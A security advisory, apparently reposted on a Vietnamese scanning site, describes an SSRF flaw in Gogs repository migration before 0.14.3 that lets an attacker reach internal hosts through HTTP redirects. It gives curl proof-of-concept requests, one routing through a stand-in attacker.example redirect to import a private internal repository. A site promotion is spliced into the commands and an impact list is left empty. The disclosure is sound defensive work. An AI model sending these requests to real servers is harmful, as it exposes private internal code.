| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| gogs.io/gogs | < 0.14.3mọi phiên bản | 0.14.3 |
A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.
The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:
http://attacker.example/redirect.git — passes validation (public hostname).302 redirect to http://127.0.0.1:18081/victim/private.git.The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.
This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:
Prerequisites: a Gogs instance, an attacker account that can create repositories.
127.0.0.1:18081.302 redirect to http://127.0.0.1:18081/victim/private.git.curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phícurl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds. The new repository contains the internal repository's contents.